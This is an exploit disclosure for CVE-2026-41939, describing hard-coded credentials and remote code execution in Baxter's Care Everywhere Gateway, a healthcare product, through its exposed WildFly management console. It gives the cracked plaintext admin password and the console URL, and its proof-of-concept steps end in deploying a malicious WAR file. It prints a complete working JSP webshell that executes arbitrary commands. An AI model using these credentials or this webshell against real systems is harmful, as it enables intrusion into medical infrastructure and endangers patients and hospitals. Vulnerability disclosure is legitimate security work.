Baxter - Care Everywhere Gateway Hard-coded Credentials + RCE via WildFly

Baxter-CareEverywhereWildFlyDefaultCredsRCE.md

1. Exploit Title: Baxter - Care Everywhere Gateway Hard-coded Credentials + RCE via WildFly

Disclosure Date: 07/29/2026

CVE ID: CVE-2026-41939

Exploit Authors: Victor A. Morales of GM Sectec, Corp.

Vendor Homepage: https://www.intuvie.com/products-overview

Known Affected Versions: 14.3.10 (other prior versions may be vulnerable)

Description

Care Everywhere Gateway runs on WildFly webserver on ports 20080 and 20043. The JBOSS Management Console is exposed by default on port 20990. Hardcoded hashed credentials for the CEAdmin account are found in the location: E:\AppServers\wildfly-8.2.0.Final\standalone\configuration\mgmt-users.properties

The password hash can be cracked to: l0g1nnatick

Proof-of-Concept

Navigate to http://<host>:20990/console/App.html and login with the credentials CEAdmin:l0g1nnatick.

Go to the Administration section, upload and deploy a malicious Web Application Resource (WAR) file.

Webshell used: index.jsp

<FORM METHOD=GET ACTION='index.jsp'> <INPUT name='cmd' type=text> <INPUT type=submit value='Run'> </FORM> <%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd,null,null); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s+"</br>"; } } catch(IOException e) { e.printStackTrace(); } } %> <pre><%=output %></pre>